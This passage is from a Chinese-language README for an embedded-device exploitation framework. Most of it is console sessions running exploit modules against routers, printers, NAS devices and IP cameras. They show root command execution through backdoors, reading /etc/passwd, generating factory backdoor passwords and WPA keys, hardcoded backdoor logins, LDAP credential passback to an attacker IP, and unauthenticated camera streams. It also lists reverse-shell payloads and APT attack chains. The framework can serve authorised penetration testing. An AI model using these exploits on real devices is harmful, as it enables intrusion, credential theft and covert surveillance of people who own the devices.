Ricoh HTTP 缓冲区溢出（CVE-2024-34161，CVSS 9.8） exf > use exploits/printers/ricoh/ricoh_http_bof_cve_2024_34161 exf (Ricoh HTTP BOF) > set target 192.168.1.101 exf (Ricoh HTTP BOF) > run # Brother LDAP 凭证回传 exf > use exploits/printers/brother/brother_ldap_smb_passback exf (Brother LDAP Passback) > set target 192.168.1.102 exf (Brother LDAP Passback) > set attacker_ip 192.168.1.10 exf (Brother LDAP Passback) > run [+] LDAP server redirected — wait for printer authentication ``` ### Routerpwn / 后门 / 出厂密码覆盖范围 27+ 个漏洞利用模块，移植自对 [routerpwn.com](https://github.com/hkm/routerpwn.com) 和 [routerPWN](https://github.com/lilloX/routerPWN) 的完整审计，重点关注出厂密码、硬编码后门、默认 WPA 密钥生成器和 DNS 劫持 CSRF。主要示例： ``` # EasyBox (Arcadyan) — 从 MAC 推算 WPA2 默认密钥（出厂算法） exf > use exploits/routers/easybox/easybox_wpa_keygen exf (EasyBox WPA Keygen) > set target 192.168.1.1 exf (EasyBox WPA Keygen) > run [*] No MAC supplied — attempting to extract from web UI... [+] MAC found: AA:BB:CC:DD:EE:FF [+] Device MAC : AA:BB:CC:DD:EE:FF [+] WPA2 PSK : 3f2d9a1b # Seagate NAS — Ghost PHP 未授权 RCE（CVE-2014-8684） exf > use exploits/routers/seagate/seagate_nas_php_backdoor exf (Seagate Ghost PHP) > set target 192.168.1.100 exf (Seagate Ghost PHP) > set cmd "id; uname -a" exf (Seagate Ghost PHP) > run [*] Sending command via Ghost PHP backdoor: 'id; uname -a' [+] RCE successful — output: uid=0(root) gid=0(root) groups=0(root) Linux NAS 3.10.14 #1 SMP armv7l # Alpha Networks / ZTE — web_shell_cmd.gch 后门 exf > use exploits/routers/alpha_networks/web_shell_cmd_rce exf (Alpha Networks web_shell_cmd RCE) > set target 192.168.1.1 exf (Alpha Networks web_shell_cmd RCE) > set cmd "cat /etc/passwd" exf (Alpha Networks web_shell_cmd RCE) > run [*] Sending command to /web_shell_cmd.gch: 'cat /etc/passwd' [+] Response from backdoor shell: root:x:0:0:root:/root:/bin/sh ... # RuggedCom — 出厂后门密码生成器（FD 2012/Apr/277） exf > use exploits/routers/ruggedcom/ruggedcom_factory_password exf (RuggedCom Factory Password) > set target 192.168.1.1 exf (RuggedCom Factory Password) > set serial RA000000 exf (RuggedCom Factory Password) > run [+] Serial Number : RA000000 [+] Backdoor user : factory [+] Backdoor pass : 7f3d9a2b # Alcatel-Lucent OmniPCX Enterprise — masterCGI RCE exf > use exploits/routers/alcatel_lucent/omnipcx_masterCGI_rce exf (OmniPCX RCE) > set target 192.168.1.10 exf (OmniPCX RCE) > set cmd "id" exf (OmniPCX RCE) > run [*] Injecting command: 'id' via /cgi-bin/masterCGI?ping=127.0.0.1&user=;id; [+] Response (command output may be embedded): uid=0(root) ... # TRENDnet 摄像头 — 未授权 MJPEG 实时流 exf > use exploits/routers/trendnet/camera_mjpeg_unauth exf (TRENDnet MJPEG) > set target 192.168.1.50 exf (TRENDnet MJPEG) > run [+] LIVE STREAM accessible (no auth): /anony/mjpg.cgi [+] Stream URL: http://192.168.1.50:80/anony/mjpg.cgi # Netgear WG602 — 硬编码后门凭证 exf > use exploits/routers/netgear/wg602_superman_backdoor exf (WG602 Backdoor) > set target 192.168.1.1 exf (WG602 Backdoor) > run [+] Backdoor login SUCCESS: super:5777364 [*] Admin panel: http://192.168.1.1:80/ ``` **全部 27 个新增供应商/模块：** `alcatel_lucent` · `alpha_networks` · `astoria` · `binatone` · `ddwrt` · `easybox` · `ee` · `freebox` · `mifi` · `motorola` · `observa` · `ruggedcom` · `seagate` · `sitecom` · `starbridge` · `ubee` · `unicorn` · `utstarcom` · `zoom` · 以及 belkin、netgear、trendnet 填补空白的模块。 ## 模块结构 ``` embedxpl/ ├── core/ │ ├── rtsp/ # RTSP camera engine │ │ ├── client.py # Raw socket RTSP client (OPTIONS/DESCRIBE/auth/TLS/HTTP-tunnel) │ │ ├── attacker.py# 5-phase attack pipeline (route→auth→creds→validate→re-attack) │ │ ├── scanner.py # Network discovery (nmap/masscan/direct), CIDR/range expansion │ │ └── models.py # RTSPStream dataclass, AuthType enum │ └── poly/ │ ├── compiler.py# CCompiler — runtime C/C++ compilation (gcc/clang/mingw/cross) │ └── runner.py # PolyRunner — Ruby/Node/PHP/Bash/Perl + Metasploit + ExploitDB ├── modules/ │ ├── creds/ # Credential testing (FTP, SSH, Telnet, HTTP, SNMP) │ ├── exploits/ │ │ ├── cameras/ # IP camera exploits by vendor │ │ │ ├── multi/ # Multi-vendor (RTSP cameradar, P2P, ONVIF) │ │ │ ├── hikvision/ # Hikvision (CVE-2021-36260, CVE-2017-7921, ...) │ │ │ ├── dahua/ # Dahua + OEMs (CVE-2021-33044, CVE-2020-25078, ...) │ │ │ ├── axis/ # Axis (CVE-2018-10660, ...) │ │ │ ├── reolink/ # Reolink (CVE-2021-40655, CVE-2022-30600) │ │ │ ├── amcrest/ # Amcrest (CVE-2019-3950) │ │ │ ├── uniview/ # Uniview UNV (CVE-2024-37630) │ │ │ ├── tapo/ # TP-Link Tapo (CVE-2021-4045) │ │ │ ├── annke/ # ANNKE DVR/NVR (CVE-2021-32941) │ │ │ ├── swann/ # Swann DVR/NVR (default creds + RTSP) │ │ │ └── edimax/ # Edimax IC-7100 (CVE-2025-1316, CISA KEV) │ │ ├── firmware/ # Firmware flash bypass (NETGEAR, TP-Link, D-Link, ASUS) │ │ ├── nas/ # NAS exploits (QNAP, D-Link NAS, Zyxel) │ │ ├── routers/ # Router exploits by vendor (85 vendor folders — see full list below) │ │ ├── vpn/ # VPN/firewall appliances (Ivanti, Fortinet, SonicWall) │ │ ├── switches/ # Switch exploits (Cisco, D-Link, NETGEAR) │ │ └── soho_edge/ # SOHO edge device exploits │ ├── scanners/ # Network scanning and AutoPwn │ ├── payloads/ # Reverse/bind shells (multi-arch) │ ├── encoders/ # Payload encoding (Base64, Hex) │ └── generic/ # CVE lookup, SNMP, UPnP, SSDP, wordlist tools ├── nse/ # NSE script manager (Python) │ ├── manager.py # NSEManager class — install/uninstall/list/run │ └── __main__.py # CLI: python -m embedxpl.nse ├── resources/ │ └── rtsp/ │ ├── routes.txt # 195+ RTSP stream paths │ └── credentials.json# 80+ default username:password pairs └── data/ └── oui.txt # IEEE OUI database for MAC-to-vendor lookup nse/ # Nmap NSE Lua scripts (pip install embedxpl[nse]) ├── embedxpl-rtsp-discover.nse ├── embedxpl-camera-identify.nse ├── embedxpl-hikvision-vuln.nse ├── embedxpl-dahua-vuln.nse ├── embedxpl-rtsp-creds.nse ├── embedxpl-iot-cve-check.nse └── embedxpl-camera-snapshot.nse ``` ## 框架架构 (v3.1.0) ### 组件架构 框架的完整分层视图：CLI 层、核心引擎（编排器、协议客户端、shell 引擎）、智能层（ML、OUI、CVE DB）、质量门控以及按类别组织的 2800+ 模块武器库。

### 审计与漏洞利用流程 从目标输入到发现、指纹识别、模块选择、漏洞利用和报告的端到端数据流。

## 架构与攻击面图谱 以运维安全图表的形式展示每个访问向量下模块覆盖范围的攻击面图谱。 源文件位于 [`docs/diagrams/architecture/`](docs/diagrams/architecture/)。 ### 模块架构概述

### APT 组织攻击链

### SOHO 路由器攻击面

### TP-Link 攻击面 (APT28/GRU 活动)

### MikroTik RouterOS 攻击面

### GPON ONT 攻击面 (Huawei EG8145)

## 系统要求 - Python 3.8+ - 可选：`nmap`（二进制文件）用于增强的网络发现和 NSE 脚本 - 可选：`masscan` 用于高速 RTSP 发现 - 可选：`gcc`/`clang` 用于 PolyExploit C/C++ 运行时编译 - 可选：`msfconsole` 用于通过 PolyRunner 进行 Metasploit 集成 **Python 依赖项（自动安装）：** `requests`、`paramiko`、`pysnmp`、`pycryptodome`、`scapy`、`colorama`、`rich`、`python-nmap`、`aiohttp` **NSE 扩展功能（`pip install "embedxpl[nse]"`）：** `python-nmap`（已包含在核心中） 完整列表：[`requirements.txt`](requirements.txt) ## 法律免责声明 EmbedXPL-Forge 仅用于授权的安全测试和研究。仅在您拥有或获得明确书面测试许可的系统上使用此工具。未经授权访问计算机系统是违法行为。作者对滥用行为不承担任何责任。 ## 许可证 BSD 许可证 — 详见 [LICENSE](LICENSE)。

标签：APT攻击模拟, CISA项目, CSRF, CVE复现, DNS劫持, GPON ONTs, IoT设备, IP 地址批量处理, IP摄像头安全, ISP CPEs, Maven, Nmap NSE, ONVIF协议, OT/ICS安全, Payload生成, PE 加载器, PKINIT, RCE, RTSP攻击, VEH, XXE攻击, 云存储安全, 协议分析, 后门植入, 命令注入, 固件分析, 固件安全, 固件篡改, 多语言编排, 字典攻击, 安全审计工具, 嵌入式安全, 工控安全, 快照抓取, 打印机安全, 插件系统, 无线安全, 权限提升, 渗透测试框架, 漏洞验证, 物联网安全, 系统遥测, 缓冲区溢出, 编程工具, 网络安全评估, 网络扫描, 网络设备安全, 认证绕过, 路径遍历, 路由器安全, 路由爆破, 边界安全评估, 边缘计算安全, 远程代码执行, 逆向工具, 防御, 默认口令